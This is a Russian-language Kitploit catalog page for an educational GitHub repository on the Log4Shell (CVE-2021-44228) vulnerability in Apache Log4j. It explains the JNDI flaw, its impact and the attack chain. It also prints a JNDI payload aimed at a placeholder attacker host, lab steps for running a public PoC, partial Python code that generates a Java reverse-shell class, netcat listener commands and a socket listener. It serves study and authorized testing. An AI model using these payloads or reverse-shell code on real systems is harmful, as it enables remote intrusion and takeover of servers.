Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-44228 — Образовательный анализ CVE-2021-44228 (Log4Shell) с PoC-скриптами, разбором вектора атаки и руководством по смягчению для понимания и тестирования критической RCE-уязвимости в Apache Log4j. | Kitploit
Инструменты/GitHubGitHub/kaleth4/cve-2021-44228
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubkaleth4/cve-2021-44228

CVE-2021-44228

Образовательный анализ CVE-2021-44228 (Log4Shell) с PoC-скриптами, разбором вектора атаки и руководством по смягчению для понимания и тестирования критической RCE-уязвимости в Apache Log4j.

Репозиторий
155 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🛡️ CVE-2021-44228: Анализ Log4Shell — Уязвимость, которая перевернула безопасность Java

Критическое воздействие (CVSS 10.0) | Обнаружена в 2021 году, эта ошибка в Apache Log4j позволяет удаленное выполнение кода (RCE) и затрагивает миллионы систем по всему миру. Даже сегодня это ключевое напоминание для кибербезопасности!

Severity: Critical
Affected: Apache Log4j 2.x
Discovered: 2021


🔍 Что такое Log4Shell?

CVE-2021-44228, известная как Log4Shell, — это критическая уязвимость удаленного выполнения кода (RCE) в библиотеке логирования Apache Log4j 2. Эта ошибка позволяет злоумышленникам выполнять произвольный код на уязвимых серверах, просто отправляя специально сформированную текстовую строку, которую регистрирует приложение.

  • Почему это так опасно? Log4j повсеместно используется в Java-приложениях, включая облачные сервисы, веб-приложения и корпоративное ПО. Для его эксплуатации не требуется аутентификация, и он легко распространяется через пользовательский ввод, такой как HTTP-заголовки, формы или чаты.
  • Обнаружена: Чэнь Чжаоцзюнь из Alibaba Cloud Security (ноябрь 2021 г.). Публично раскрыта 9 декабря 2021 г., вызвав глобальные оповещения CISA, NCSC и других.
  • Глобальное влияние: Затронуты сотни миллионов устройств. Пострадали такие компании, как Minecraft, Twitter и Cisco. Наблюдались массовые атаки: >100 в минуту на пике.

Log4Shell — не единственная; она породила CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) и CVE-2021-4104 (RCE в Log4j 1.2).


💀 Вектор атаки и принцип работы

Суть проблемы — небезопасная обработка JNDI (Java Naming and Directory Interface) в Log4j, который выполняет удаленные lookups без санитизации.

Пример базового пейлоуда

${jndi:ldap://atacante.com:1389/Exploit}

Как это работает:

  1. Злоумышленник внедряет пейлоуд в регистрируемое сообщение (например, User-Agent в HTTP).
  2. Log4j обнаруживает ${...} и активирует lookup JNDI.
  3. Уязвимый сервер подключается к серверу LDAP/RMI/DNS злоумышленника.
  4. Загружается и выполняется вредоносный Java-класс (например, reverse shell).

Эксплуатируемые протоколы: LDAP, RMI, DNS, IIOP и др. Это позволяет реализовывать такие угрозы, как:

  • Coinmining: Хищение ресурсов для майнинга криптовалют.
  • Ransomware: Шифрование данных (например, Khonsari, Night Sky).
  • DoS/DDoS: Перегрузка систем (например, через ботнет Mirai).
  • Горизонтальное перемещение: Инструменты вроде Cobalt Strike для повышения привилегий.

Цепочка заражения (Kill Chain):

  1. Рекогносцировка: Сканирование портов и заголовков для обнаружения Log4j.
  2. Внедрение: Отправка пейлоуда в несанитизированные поля ввода.
  3. Разрешение: JNDI связывается с сервером атакующего.
  4. Выполнение: Вредоносный код загружается и запускается (например, загрузка вредоносного ПО, такого как Kinsing).
  5. Сохранение: Экфильтрация учетных данных (/etc/passwd, /etc/shadow) или установка бэкдоров.

📈 Технические подробности

ХарактеристикаДетали
Оценка CVSS v3.110.0 (КРИТИЧЕСКИЙ) 🔥 — Максимально возможная серьезность.
Затронутые версииLog4j 2.0-beta9 — 2.14.1 (включая производные до 2.16.0 для под-CVE).
Корневая причинаПодстановка сообщений JNDI без проверки; включенные удаленные lookups.
ВекторыУдаленный, без аутентификации; влияет на Java 8+ в веб/облачных приложениях.
Затронутые продуктыApache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter и др.
ЭксплуатацияЛегкая: публичные PoC на GitHub; не требует привилегий.

Статистика воздействия:

  • 90% облачных сред изначально подверглись риску.

  • Использована государственными группировками (Китай, Северная Корея) и киберпреступниками.
  • Первоначальный патч: Log4j 2.15.0 (декабрь 2021 г.), но неполный; безопасная версия: 2.17.1+.

🚀 Образовательное подтверждение концепции (PoC)

⚠️ Предупреждение: Этот материал предназначен исключительно для образовательных целей и авторизованного тестирования. Не используйте его в системах без явного разрешения. Эксплуатация уязвимостей без разрешения незаконна (например, нарушает такие законы, как CFAA в США). Всегда проводите этичный пентeст.

На основе публичных репозиториев, таких как kozmer/log4j-shell-poc, здесь приведен упрощенный обзор PoC в контролируемых средах (например, локальный Docker/VM).

Общие шаги для симуляции (уязвимая среда)

  1. Клонируйте репозиторий: git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/
  2. Соберите Docker: docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln
  3. Установите уязвимую Java (например, JDK 8u202): Скачайте с надежных зеркал, распакуйте и настройте путь (например, /usr/bin/jdk1.8.0_202).
  4. Измените скрипт PoC (poc.py): Настройте пути Java и IP. Пример исправленного фрагмента (упрощенная версия):
#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

def generate_payload(userip: str, lport: int) -> None:
    program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
    public Exploit() throws Exception {{
        String host="{userip}";
        int port={lport};
        String cmd="/bin/sh";
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host, port);
        // ... (упрощенный код reverse shell)
    }}
}}
"""
    p = CUR_FOLDER / "Exploit.java"
    try:
        p.write_text(program)
        subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
        print(Fore.GREEN + '[+] Класс Exploit успешно сгенерирован')
    except Exception as e:
        print(Fore.RED + f'[-] Ошибка: {e}')

# ... (функции для LDAP-сервера и веб-сервера, аналогичные оригинальным)

def main():
    init(autoreset=True)
    print(Fore.BLUE + "[!] Образовательная PoC для CVE-2021-44228 — Используйте только в лабораторных условиях!")
    # Аргументы: --userip localhost --webport 8000 --lport 9001
    # Запускает LDAP, веб-сервер и генерирует пейлоуд

if __name__ == "__main__":
    main()
  1. Запустите: python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001
  2. Прослушиватель (Netcat): nc -lvnp 9001 — Мониторинг reverse shell.
  3. Внедрите пейлоуд: В уязвимом приложении (http://localhost:8080) используйте ${jndi:ldap://127.0.0.1:1389/a} в поле входа/поиска.
  4. Проверьте: Подключение в Netcat; логи в терминале показывают разрешение JNDI.

Простой PoC на Python (слушатель + эксплойт): Для быстрых демонстраций используйте эту пару скриптов (сначала запустите слушатель).

listener.py:

import socket
import threading

def start_listener(ip, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((ip, port))
    server.listen(1)
    print(f"[*] Слушатель на {ip}:{port}...")
    conn, addr = server.accept()
    print(f"[+] Подключение от {addr}")
    data = conn.recv(4096)
    print(data.decode('utf-8', errors='ignore'))
    conn.close()
Скачать инструмент